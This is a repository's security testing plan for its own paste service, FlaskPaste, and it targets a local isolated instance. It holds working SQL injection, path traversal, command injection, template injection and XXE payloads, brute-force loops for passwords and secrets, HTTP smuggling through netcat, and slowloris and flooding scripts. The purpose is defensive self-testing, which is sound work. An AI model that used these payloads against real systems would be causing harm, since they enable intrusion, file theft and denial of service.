Files
flaskpaste/FUZZING.md
Username 0a7627fbe5 add offensive security testing framework
- FUZZING.md: comprehensive attack methodology covering 10 phases
- tests/fuzz/run_fuzz.py: automated fuzzing harness with 6 test phases

Phases: recon, input fuzzing, injection (SQLi, SSTI, path traversal,
command injection), auth bypass, business logic, crypto attacks.

Includes: radamsa mutations, hypothesis property testing, atheris
coverage-guided fuzzing, HTTP smuggling, slowloris, nuclei templates.
2025-12-25 01:11:02 +01:00

1034 lines
27 KiB
Markdown

# Offensive Security Testing Plan
Comprehensive fuzzing and penetration testing for FlaskPaste.
No restrictions. Break everything.
---
## Test Environment Setup
### Isolated Instance
```bash
# Create isolated workspace
export FUZZ_DIR="/tmp/flaskpaste-fuzz"
mkdir -p "$FUZZ_DIR"/{db,logs,crashes,results}
# Environment for isolated instance
export FLASKPASTE_DATABASE="$FUZZ_DIR/db/fuzz.db"
export FLASKPASTE_SECRET_KEY="fuzz-$(openssl rand -hex 16)"
export FLASKPASTE_PKI_PASSWORD="fuzz-pki-password"
export FLASKPASTE_REGISTRATION_ENABLED=true
export FLASKPASTE_POW_DIFFICULTY=1
export FLASKPASTE_RATE_LIMIT_ENABLED=false
export FLASKPASTE_PROXY_SECRET=""
export FLASK_ENV=development
export FLASK_DEBUG=0
# Start isolated instance
cd /home/user/git/flaskpaste
./venv/bin/python run.py --host 127.0.0.1 --port 5099 2>&1 | tee "$FUZZ_DIR/logs/server.log" &
FUZZ_PID=$!
echo $FUZZ_PID > "$FUZZ_DIR/server.pid"
# Target
export TARGET="http://127.0.0.1:5099"
```
### Teardown
```bash
kill $(cat "$FUZZ_DIR/server.pid") 2>/dev/null
rm -rf "$FUZZ_DIR"
```
---
## Attack Surface
### Endpoints
```
┌────────────────────────┬─────────────────┬─────────────────────────────────┐
│ Endpoint │ Methods │ Auth Required
├────────────────────────┼─────────────────┼─────────────────────────────────┤
│ / │ GET, POST │ PoW for POST
│ /health │ GET │ No
│ /challenge │ GET │ No
│ /client │ GET │ No
│ /register/challenge │ GET │ No
│ /register │ POST │ PoW
│ /pastes │ GET │ Client cert
│ /<paste_id> │ GET, HEAD, PUT │ Optional password
│ /<paste_id>/raw │ GET, HEAD │ Optional password
│ /<paste_id> │ DELETE │ Client cert + ownership
│ /pki │ GET │ No
│ /pki/ca │ POST │ PKI password
│ /pki/ca.crt │ GET │ No
│ /pki/issue │ POST │ Admin cert
│ /pki/certs │ GET │ Admin cert
│ /pki/revoke/<serial> │ POST │ Admin cert
│ /audit │ GET │ Admin cert
└────────────────────────┴─────────────────┴─────────────────────────────────┘
```
### Input Vectors
**Headers:**
- `X-Forwarded-For` - IP spoofing
- `X-Forwarded-Proto`, `X-Scheme` - Protocol injection
- `X-Forwarded-Host`, `Host` - Host header injection
- `X-Paste-Password` - Password bypass
- `X-Proxy-Secret` - Auth bypass
- `X-SSL-Client-SHA1` - Cert fingerprint spoofing
- `X-PoW-Token`, `X-PoW-Solution` - PoW bypass
- `X-Burn-After-Read` - Logic manipulation
- `X-Expiry` - Time-based attacks
- `X-Remove-Password`, `X-Extend-Expiry` - State manipulation
- `Content-Type` - Parser confusion
**Query Parameters:**
- `limit`, `offset` - Integer overflow, negative values
- `type`, `owner`, `event_type` - Injection
- `after`, `before`, `since`, `until` - Time manipulation
- `all` - Authorization bypass
- `client_id`, `paste_id`, `outcome` - ID enumeration
**URL Parameters:**
- `paste_id` - Path traversal, injection, enumeration
- `serial` - Certificate serial injection
**Body:**
- Raw bytes - Binary injection, null bytes
- JSON - Type confusion, nested objects
- Malformed encoding - UTF-8 attacks
---
## Phase 1: Reconnaissance & Enumeration
### Directory/Endpoint Fuzzing
```bash
# Install tools
pip install httpx aiohttp
# ffuf - fast web fuzzer
# Install: go install github.com/ffuf/ffuf/v2@latest
ffuf -u "$TARGET/FUZZ" -w /usr/share/wordlists/dirb/common.txt \
-mc all -fc 404 -o "$FUZZ_DIR/results/endpoints.json"
# Hidden endpoints
ffuf -u "$TARGET/FUZZ" -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt \
-mc 200,201,301,302,400,401,403,405,500 -o "$FUZZ_DIR/results/hidden.json"
# API versioning
for v in v1 v2 v3 api api/v1 api/v2 _api internal debug admin; do
curl -s -o /dev/null -w "%{http_code} /$v\n" "$TARGET/$v"
done
```
### Paste ID Enumeration
```bash
# Sequential IDs
for i in $(seq 1 1000); do
curl -s -o /dev/null -w "%{http_code} $i\n" "$TARGET/$i"
done | grep -v "^404"
# Common patterns
for id in test admin root debug null undefined NaN 0 -1 '' ' '; do
curl -s -o /dev/null -w "%{http_code} '$id'\n" "$TARGET/$id"
done
```
---
## Phase 2: Input Fuzzing
### HTTP Method Fuzzing
```bash
for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE CONNECT \
PROPFIND PROPPATCH MKCOL COPY MOVE LOCK UNLOCK; do
for endpoint in / /health /challenge /pastes /pki /audit; do
code=$(curl -s -o /dev/null -w "%{http_code}" -X "$method" "$TARGET$endpoint")
echo "$code $method $endpoint"
done
done | sort -u
```
### Header Injection
```bash
# Host header poisoning
curl -v "$TARGET/" -H "Host: evil.com"
curl -v "$TARGET/" -H "X-Forwarded-Host: evil.com"
curl -v "$TARGET/" -H "X-Forwarded-For: 127.0.0.1"
curl -v "$TARGET/" -H "X-Forwarded-For: ' OR 1=1--"
# Proxy secret brute force
for secret in '' admin password secret proxy 123456 test; do
curl -s -o /dev/null -w "%{http_code} '$secret'\n" \
"$TARGET/pastes" -H "X-Proxy-Secret: $secret"
done
# Fake client cert fingerprint
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: 0000000000000000000000000000000000000000"
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: ' OR 1=1--"
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: ../../../etc/passwd"
```
### PoW Bypass Attempts
```bash
# Empty/malformed tokens
curl -X POST "$TARGET/" -d "test" \
-H "X-PoW-Token: " -H "X-PoW-Solution: "
curl -X POST "$TARGET/" -d "test" \
-H "X-PoW-Token: invalid" -H "X-PoW-Solution: 0"
# Negative solution
curl -X POST "$TARGET/" -d "test" \
-H "X-PoW-Token: $(curl -s $TARGET/challenge | jq -r .token)" \
-H "X-PoW-Solution: -1"
# Overflow
curl -X POST "$TARGET/" -d "test" \
-H "X-PoW-Token: test" \
-H "X-PoW-Solution: 99999999999999999999999999999999"
# Token reuse (race condition)
TOKEN=$(curl -s "$TARGET/challenge" | jq -r .token)
# Solve it, then try to reuse
```
### Content-Type Confusion
```bash
# JSON body with wrong content-type
curl -X POST "$TARGET/" -d '{"content":"test"}' \
-H "Content-Type: application/json"
curl -X POST "$TARGET/" -d '{"content":"test"}' \
-H "Content-Type: text/plain"
curl -X POST "$TARGET/" -d '{"content":"test"}' \
-H "Content-Type: application/x-www-form-urlencoded"
# Multipart confusion
curl -X POST "$TARGET/" -F "file=@/etc/passwd" \
-H "Content-Type: multipart/form-data"
# XML injection attempt
curl -X POST "$TARGET/" -d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>' \
-H "Content-Type: application/xml"
```
---
## Phase 3: Injection Attacks
### SQL Injection
```bash
# Paste ID injection
SQLI_PAYLOADS=(
"' OR '1'='1"
"1' OR '1'='1'--"
"1; DROP TABLE pastes;--"
"1 UNION SELECT * FROM users--"
"1' AND SLEEP(5)--"
"1' AND (SELECT COUNT(*) FROM sqlite_master)>0--"
"1/**/OR/**/1=1"
"1' OR ''='"
)
for payload in "${SQLI_PAYLOADS[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
curl -s -o /dev/null -w "%{http_code} %{time_total}s $payload\n" "$TARGET/$encoded"
done
# Header injection
for payload in "${SQLI_PAYLOADS[@]}"; do
curl -s -o /dev/null -w "%{http_code} %{time_total}s\n" \
"$TARGET/pastes" -H "X-SSL-Client-SHA1: $payload"
done
# sqlmap automated
sqlmap -u "$TARGET/FUZZ" --batch --level=5 --risk=3 \
--technique=BEUSTQ --dbms=sqlite \
-o --output-dir="$FUZZ_DIR/results/sqlmap"
```
### Path Traversal
```bash
TRAVERSAL_PAYLOADS=(
"../../../etc/passwd"
"....//....//....//etc/passwd"
"..%2f..%2f..%2fetc/passwd"
"..%252f..%252f..%252fetc/passwd"
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
"....\/....\/....\/etc/passwd"
"..;/..;/..;/etc/passwd"
"..//..//..//etc/passwd"
)
for payload in "${TRAVERSAL_PAYLOADS[@]}"; do
curl -s -o /dev/null -w "%{http_code} $payload\n" "$TARGET/$payload"
curl -s -o /dev/null -w "%{http_code} $payload (raw)\n" "$TARGET/$payload/raw"
done
```
### Command Injection
```bash
CMD_PAYLOADS=(
"; ls -la"
"| cat /etc/passwd"
"\$(cat /etc/passwd)"
"\`cat /etc/passwd\`"
"|| cat /etc/passwd"
"&& cat /etc/passwd"
"; sleep 10"
"| sleep 10"
)
for payload in "${CMD_PAYLOADS[@]}"; do
# In paste content
curl -s -X POST "$TARGET/" -d "$payload" -o /dev/null -w "%{time_total}s\n"
# In headers
curl -s "$TARGET/" -H "X-Forwarded-For: $payload" -o /dev/null
done
```
### SSTI (Server-Side Template Injection)
```bash
SSTI_PAYLOADS=(
"{{7*7}}"
"{{config}}"
"{{self.__class__.__mro__[2].__subclasses__()}}"
"${7*7}"
"<%= 7*7 %>"
"{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}"
"{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}"
)
for payload in "${SSTI_PAYLOADS[@]}"; do
# Create paste with SSTI payload
response=$(curl -s -X POST "$TARGET/" -d "$payload" \
-H "X-PoW-Token: test" -H "X-PoW-Solution: 0")
echo "$response" | grep -q "49" && echo "SSTI CONFIRMED: $payload"
done
```
---
## Phase 4: Authentication & Authorization
### Certificate Fingerprint Attacks
```bash
# Fingerprint enumeration
for i in $(seq -w 00 ff); do
fp="${i}00000000000000000000000000000000000000"
code=$(curl -s -o /dev/null -w "%{http_code}" \
"$TARGET/pastes" -H "X-SSL-Client-SHA1: $fp")
[ "$code" != "401" ] && echo "Hit: $fp -> $code"
done
# Known weak fingerprints
WEAK_FPS=(
"0000000000000000000000000000000000000000"
"da39a3ee5e6b4b0d3255bfef95601890afd80709" # SHA1 of empty
"ffffffffffffffffffffffffffffffffffffffff"
)
for fp in "${WEAK_FPS[@]}"; do
curl -v "$TARGET/pastes" -H "X-SSL-Client-SHA1: $fp"
done
```
### Admin Privilege Escalation
```bash
# Try to issue certs without admin
curl -X POST "$TARGET/pki/issue" \
-H "Content-Type: application/json" \
-d '{"common_name": "hacker"}'
# Try to access audit without admin
curl "$TARGET/audit"
# Certificate serial manipulation
curl -X POST "$TARGET/pki/revoke/1"
curl -X POST "$TARGET/pki/revoke/-1"
curl -X POST "$TARGET/pki/revoke/999999999999"
curl -X POST "$TARGET/pki/revoke/../../../"
```
### Password Protection Bypass
```bash
# Create password-protected paste, try to bypass
PASTE_ID="test123"
# Timing attack on password check
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{time_total}\n" \
"$TARGET/$PASTE_ID" -H "X-Paste-Password: wrong$i"
done | sort -n
# Empty password
curl "$TARGET/$PASTE_ID" -H "X-Paste-Password: "
# Null byte injection
curl "$TARGET/$PASTE_ID" -H "X-Paste-Password: correct%00garbage"
```
---
## Phase 5: Business Logic Attacks
### Race Conditions
```bash
# Concurrent paste creation with same content (dedup bypass)
for i in $(seq 1 100); do
curl -s -X POST "$TARGET/" -d "race-test-content" &
done
wait
# Burn-after-read race
PASTE_ID="burn-test"
# Create burn paste, then race to read multiple times
for i in $(seq 1 50); do
curl -s "$TARGET/$PASTE_ID" &
done
wait
# Rate limit race
for i in $(seq 1 200); do
curl -s -X POST "$TARGET/" -d "rate-limit-test-$i" &
done
wait
```
### Expiry Manipulation
```bash
# Negative expiry
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: -1"
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: -999999999"
# Overflow expiry
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: 999999999999999999"
# Time travel
curl -X POST "$TARGET/" -d "test" -H "X-Expiry: 0"
# Extend beyond limits
curl -X PUT "$TARGET/test-paste" -H "X-Extend-Expiry: 999999999"
```
### Resource Exhaustion
```bash
# Large paste (memory exhaustion)
dd if=/dev/urandom bs=1M count=100 | curl -X POST "$TARGET/" --data-binary @-
# Many small pastes (DB exhaustion)
for i in $(seq 1 10000); do
curl -s -X POST "$TARGET/" -d "flood-$i" &
[ $((i % 100)) -eq 0 ] && wait
done
# Deep recursion in JSON
python3 -c "print('{' * 1000 + '\"a\":1' + '}' * 1000)" | \
curl -X POST "$TARGET/pki/ca" -H "Content-Type: application/json" -d @-
```
---
## Phase 6: Cryptographic Attacks
### PoW Token Analysis
```bash
# Collect tokens for pattern analysis
for i in $(seq 1 1000); do
curl -s "$TARGET/challenge" | jq -r .token >> "$FUZZ_DIR/results/tokens.txt"
done
# Analyze randomness
python3 << 'EOF'
import base64
import collections
with open("/tmp/flaskpaste-fuzz/results/tokens.txt") as f:
tokens = [line.strip() for line in f]
# Check for patterns
for i, t in enumerate(tokens[:-1]):
if t == tokens[i+1]:
print(f"DUPLICATE TOKEN at {i}: {t}")
# Byte distribution
all_bytes = b''.join(base64.b64decode(t) for t in tokens if t)
dist = collections.Counter(all_bytes)
print(f"Byte distribution entropy: {len(dist)}/256")
EOF
```
### Timing Attacks
```bash
# Password comparison timing
python3 << 'EOF'
import requests
import statistics
import time
target = "http://127.0.0.1:5099"
paste_id = "test-timing"
# Measure response times for different password lengths
results = {}
for length in range(1, 20):
password = "a" * length
times = []
for _ in range(100):
start = time.perf_counter()
requests.get(f"{target}/{paste_id}", headers={"X-Paste-Password": password})
times.append(time.perf_counter() - start)
results[length] = statistics.mean(times)
print(f"Length {length}: {results[length]*1000:.3f}ms")
# Look for timing differences
EOF
```
### Certificate Attacks
```bash
# Generate malformed certificates
openssl ecparam -name secp384r1 -genkey -out "$FUZZ_DIR/bad.key"
# Self-signed with weird parameters
openssl req -new -x509 -key "$FUZZ_DIR/bad.key" -out "$FUZZ_DIR/bad.crt" \
-days 1 -subj "/CN='; DROP TABLE certificates;--"
# Try to register with malformed cert
curl -X POST "$TARGET/register" \
--cert "$FUZZ_DIR/bad.crt" --key "$FUZZ_DIR/bad.key"
# PKI password brute force
COMMON_PASSWORDS=(
"" "password" "admin" "123456" "pki" "secret"
"flaskpaste" "certificate" "ca" "root"
)
for pw in "${COMMON_PASSWORDS[@]}"; do
code=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$TARGET/pki/ca" \
-H "Content-Type: application/json" \
-d "{\"password\": \"$pw\"}")
echo "$code $pw"
done
```
---
## Phase 7: Advanced Fuzzing
### Radamsa Mutations
```bash
# Install radamsa
# git clone https://gitlab.com/akihe/radamsa && cd radamsa && make && sudo make install
# Generate mutated inputs
echo "normal paste content" > "$FUZZ_DIR/seed.txt"
for i in $(seq 1 1000); do
radamsa "$FUZZ_DIR/seed.txt" | curl -s -X POST "$TARGET/" \
--data-binary @- -o /dev/null -w "%{http_code}\n" 2>/dev/null
done | sort | uniq -c
# Mutate JSON
echo '{"common_name": "test"}' > "$FUZZ_DIR/seed.json"
for i in $(seq 1 1000); do
radamsa "$FUZZ_DIR/seed.json" | curl -s -X POST "$TARGET/pki/ca" \
-H "Content-Type: application/json" \
--data-binary @- -o /dev/null -w "%{http_code}\n" 2>/dev/null
done | sort | uniq -c
```
### AFL++ (if Python can be instrumented)
```bash
# Python AFL instrumentation (experimental)
pip install python-afl
# Create harness
cat > "$FUZZ_DIR/harness.py" << 'HARNESS'
import afl
import sys
sys.path.insert(0, '/home/user/git/flaskpaste')
from app import create_app
app = create_app()
afl.init()
with app.test_client() as client:
data = sys.stdin.buffer.read()
try:
client.post('/', data=data)
except Exception:
pass
HARNESS
# Run AFL
# py-afl-fuzz -i "$FUZZ_DIR/seeds" -o "$FUZZ_DIR/afl-out" -- python "$FUZZ_DIR/harness.py"
```
### Hypothesis Property Testing
```bash
cat > "$FUZZ_DIR/hypothesis_fuzz.py" << 'HYPO'
import hypothesis
from hypothesis import given, strategies as st, settings
import requests
import os
TARGET = os.environ.get("TARGET", "http://127.0.0.1:5099")
@settings(max_examples=10000, deadline=None)
@given(st.binary(min_size=0, max_size=10000))
def test_paste_content(content):
"""Fuzz paste content with arbitrary bytes."""
try:
r = requests.post(TARGET + "/", data=content, timeout=5)
assert r.status_code in (201, 400, 413, 429, 503)
except requests.exceptions.RequestException:
pass
@settings(max_examples=10000, deadline=None)
@given(st.text(min_size=0, max_size=1000))
def test_paste_id(paste_id):
"""Fuzz paste ID retrieval."""
try:
r = requests.get(f"{TARGET}/{paste_id}", timeout=5)
assert r.status_code in (200, 400, 404, 410)
except requests.exceptions.RequestException:
pass
@settings(max_examples=5000, deadline=None)
@given(
st.dictionaries(
st.text(min_size=1, max_size=50),
st.one_of(st.text(), st.integers(), st.floats(), st.none(), st.booleans()),
min_size=0, max_size=20
)
)
def test_pki_json(data):
"""Fuzz PKI endpoints with arbitrary JSON."""
try:
r = requests.post(
TARGET + "/pki/ca",
json=data,
timeout=5
)
assert r.status_code in (200, 201, 400, 401, 403, 409, 500)
except requests.exceptions.RequestException:
pass
@settings(max_examples=5000, deadline=None)
@given(st.dictionaries(st.text(), st.text(), min_size=0, max_size=30))
def test_arbitrary_headers(headers):
"""Fuzz with arbitrary headers."""
safe_headers = {k[:100]: v[:1000] for k, v in headers.items()
if k and not k.lower().startswith(('host', 'content-length'))}
try:
r = requests.get(TARGET + "/", headers=safe_headers, timeout=5)
except requests.exceptions.RequestException:
pass
if __name__ == "__main__":
test_paste_content()
test_paste_id()
test_pki_json()
test_arbitrary_headers()
HYPO
pip install hypothesis requests
python "$FUZZ_DIR/hypothesis_fuzz.py"
```
### Atheris (LibFuzzer for Python)
```bash
cat > "$FUZZ_DIR/atheris_fuzz.py" << 'ATHERIS'
import atheris
import sys
with atheris.instrument_imports():
sys.path.insert(0, '/home/user/git/flaskpaste')
from app import create_app
from app.database import init_db
import tempfile
import os
# Create isolated app
tmpdir = tempfile.mkdtemp()
os.environ['FLASKPASTE_DATABASE'] = f'{tmpdir}/fuzz.db'
app = create_app()
def TestOneInput(data):
with app.test_client() as client:
fdp = atheris.FuzzedDataProvider(data)
# Fuzz endpoint
endpoint = fdp.ConsumeUnicodeNoSurrogates(100)
method = fdp.PickValueInList(['GET', 'POST', 'PUT', 'DELETE', 'HEAD'])
body = fdp.ConsumeBytes(fdp.remaining_bytes())
try:
if method == 'GET':
client.get(f'/{endpoint}')
elif method == 'POST':
client.post(f'/{endpoint}', data=body)
elif method == 'PUT':
client.put(f'/{endpoint}', data=body)
elif method == 'DELETE':
client.delete(f'/{endpoint}')
elif method == 'HEAD':
client.head(f'/{endpoint}')
except Exception:
pass
if __name__ == "__main__":
atheris.Setup(sys.argv, TestOneInput)
atheris.Fuzz()
ATHERIS
pip install atheris
python "$FUZZ_DIR/atheris_fuzz.py" -max_len=10000 -runs=100000
```
---
## Phase 8: Protocol-Level Attacks
### HTTP Smuggling
```bash
# CL.TE smuggling attempt
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 13\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nSMUGGLED' | \
nc 127.0.0.1 5099
# TE.CL smuggling attempt
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 3\r\nTransfer-Encoding: chunked\r\n\r\n8\r\nSMUGGLED\r\n0\r\n\r\n' | \
nc 127.0.0.1 5099
# Double Content-Length
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 5\r\nContent-Length: 100\r\n\r\nHELLO' | \
nc 127.0.0.1 5099
```
### HTTP/2 Attacks (if applicable)
```bash
# h2c smuggling
curl --http2 "$TARGET/"
curl --http2-prior-knowledge "$TARGET/"
# HPACK bomb
# Requires specialized tools
```
### Slowloris / Slow POST
```bash
# Slow headers
python3 << 'EOF'
import socket
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 5099))
sock.send(b"POST / HTTP/1.1\r\nHost: target\r\n")
for i in range(100):
sock.send(f"X-Header-{i}: {'A'*100}\r\n".encode())
time.sleep(1)
print(f"Sent header {i}")
EOF
# Slow body
python3 << 'EOF'
import socket
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("127.0.0.1", 5099))
sock.send(b"POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 1000000\r\n\r\n")
for i in range(1000):
sock.send(b"A")
time.sleep(0.1)
print(f"Sent byte {i}")
EOF
```
---
## Phase 9: Specialized Tools
### Nuclei Templates
```bash
# Install nuclei
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Run all templates
nuclei -u "$TARGET" -t nuclei-templates/ -o "$FUZZ_DIR/results/nuclei.txt"
# Custom template for FlaskPaste
cat > "$FUZZ_DIR/flaskpaste.yaml" << 'TEMPLATE'
id: flaskpaste-pow-bypass
info:
name: FlaskPaste PoW Bypass
severity: high
requests:
- method: POST
path:
- "{{BaseURL}}/"
headers:
X-PoW-Token: "invalid"
X-PoW-Solution: "0"
body: "test"
matchers:
- type: status
status:
- 201
TEMPLATE
nuclei -u "$TARGET" -t "$FUZZ_DIR/flaskpaste.yaml"
```
### Burp Suite / ZAP Automation
```bash
# OWASP ZAP API scan
docker run -t owasp/zap2docker-stable zap-api-scan.py \
-t "$TARGET" -f openapi -r "$FUZZ_DIR/results/zap-report.html"
# ZAP baseline scan
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t "$TARGET" -r "$FUZZ_DIR/results/zap-baseline.html"
```
### Custom Python Fuzzer
```python
#!/usr/bin/env python3
"""Comprehensive FlaskPaste fuzzer."""
import asyncio
import aiohttp
import random
import string
import hashlib
import json
import os
from pathlib import Path
TARGET = os.environ.get("TARGET", "http://127.0.0.1:5099")
RESULTS_DIR = Path(os.environ.get("FUZZ_DIR", "/tmp/flaskpaste-fuzz")) / "results"
RESULTS_DIR.mkdir(parents=True, exist_ok=True)
# Payload generators
def random_bytes(n):
return bytes(random.getrandbits(8) for _ in range(n))
def random_string(n):
return ''.join(random.choices(string.printable, k=n))
def null_bytes():
return b'\x00' * random.randint(1, 100)
def unicode_bombs():
return random.choice([
'\u202e' * 100, # RTL override
'\ufeff' * 100, # BOM
'\u0000' * 100, # Null
'A\u0300' * 100, # Combining chars
'\U0001F4A9' * 100, # Emoji
])
async def fuzz_endpoint(session, method, path, **kwargs):
try:
async with session.request(method, f"{TARGET}{path}", **kwargs, timeout=5) as r:
return r.status, await r.text()
except Exception as e:
return None, str(e)
async def fuzz_paste_creation(session):
"""Fuzz paste creation with various payloads."""
payloads = [
random_bytes(random.randint(1, 10000)),
null_bytes(),
unicode_bombs().encode(),
b'A' * 100_000_000, # 100MB
json.dumps({"nested": {"deep": {"structure": True}}}).encode(),
b'<?xml version="1.0"?><!DOCTYPE x[<!ENTITY xxe SYSTEM "file:///etc/passwd">]><x>&xxe;</x>',
]
for payload in payloads:
status, body = await fuzz_endpoint(session, 'POST', '/', data=payload)
if status and status not in (201, 400, 413, 429, 503):
print(f"UNEXPECTED: POST / -> {status}")
with open(RESULTS_DIR / "anomalies.log", "a") as f:
f.write(f"POST / payload={payload[:100]!r} status={status}\n")
async def fuzz_headers(session):
"""Fuzz with malicious headers."""
headers_payloads = [
{"X-Forwarded-For": "' OR 1=1--"},
{"X-SSL-Client-SHA1": "../../../etc/passwd"},
{"X-PoW-Token": "A" * 10000},
{"X-Expiry": "-1"},
{"X-Expiry": "99999999999999999999"},
{"Host": "evil.com\r\nX-Injected: true"},
{"Content-Type": "text/html; charset=utf-8\r\nX-Injected: true"},
]
for headers in headers_payloads:
status, body = await fuzz_endpoint(session, 'GET', '/', headers=headers)
if "X-Injected" in body:
print(f"HEADER INJECTION FOUND: {headers}")
async def fuzz_path_traversal(session):
"""Fuzz for path traversal."""
paths = [
"/../../../etc/passwd",
"/....//....//....//etc/passwd",
"/%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
"/..%252f..%252f..%252fetc/passwd",
"/<script>alert(1)</script>",
"/{{7*7}}",
"/${7*7}",
]
for path in paths:
status, body = await fuzz_endpoint(session, 'GET', path)
if status == 200 and ("root:" in body or "49" in body or "alert" in body):
print(f"VULNERABILITY FOUND: {path}")
async def main():
async with aiohttp.ClientSession() as session:
await asyncio.gather(
fuzz_paste_creation(session),
fuzz_headers(session),
fuzz_path_traversal(session),
)
if __name__ == "__main__":
asyncio.run(main())
```
---
## Phase 10: Crash Analysis
### Monitor for Crashes
```bash
# Watch server logs for errors
tail -f "$FUZZ_DIR/logs/server.log" | grep -iE "error|exception|traceback|crash|segfault" | \
tee "$FUZZ_DIR/crashes/errors.log"
# Monitor process
while true; do
if ! kill -0 $(cat "$FUZZ_DIR/server.pid") 2>/dev/null; then
echo "SERVER CRASHED at $(date)" >> "$FUZZ_DIR/crashes/crash.log"
# Restart and continue
cd /home/user/git/flaskpaste
./venv/bin/python run.py --host 127.0.0.1 --port 5099 &
echo $! > "$FUZZ_DIR/server.pid"
fi
sleep 1
done
```
### Reproduce Crashes
```bash
# Replay payloads that caused issues
for payload in "$FUZZ_DIR/crashes"/*.payload; do
echo "Replaying: $payload"
curl -X POST "$TARGET/" --data-binary "@$payload" -v
done
```
---
## Results Collection
### Summary Report
```bash
cat > "$FUZZ_DIR/generate_report.sh" << 'REPORT'
#!/bin/bash
echo "# FlaskPaste Fuzzing Results"
echo "Generated: $(date)"
echo ""
echo "## Statistics"
echo "- Total requests: $(wc -l < "$FUZZ_DIR/logs/server.log" 2>/dev/null || echo 0)"
echo "- Crashes detected: $(wc -l < "$FUZZ_DIR/crashes/crash.log" 2>/dev/null || echo 0)"
echo "- Anomalies: $(wc -l < "$FUZZ_DIR/results/anomalies.log" 2>/dev/null || echo 0)"
echo ""
echo "## Findings"
cat "$FUZZ_DIR/results/anomalies.log" 2>/dev/null
echo ""
echo "## Tool Results"
for f in "$FUZZ_DIR/results"/*.txt "$FUZZ_DIR/results"/*.json; do
[ -f "$f" ] && echo "### $(basename $f)" && head -50 "$f"
done
REPORT
chmod +x "$FUZZ_DIR/generate_report.sh"
```
---
## Quick Start
```bash
# One-liner to run everything
export FUZZ_DIR="/tmp/flaskpaste-fuzz"
export TARGET="http://127.0.0.1:5099"
mkdir -p "$FUZZ_DIR"/{db,logs,crashes,results}
# Start server
cd /home/user/git/flaskpaste
FLASKPASTE_DATABASE="$FUZZ_DIR/db/fuzz.db" \
FLASKPASTE_POW_DIFFICULTY=1 \
FLASKPASTE_RATE_LIMIT_ENABLED=false \
./venv/bin/python run.py --host 127.0.0.1 --port 5099 &
# Run fuzzing phases
sleep 2
./fuzz-phase1.sh # Recon
./fuzz-phase2.sh # Input fuzzing
./fuzz-phase3.sh # Injection
# ... etc
# Generate report
./generate_report.sh > "$FUZZ_DIR/REPORT.md"
```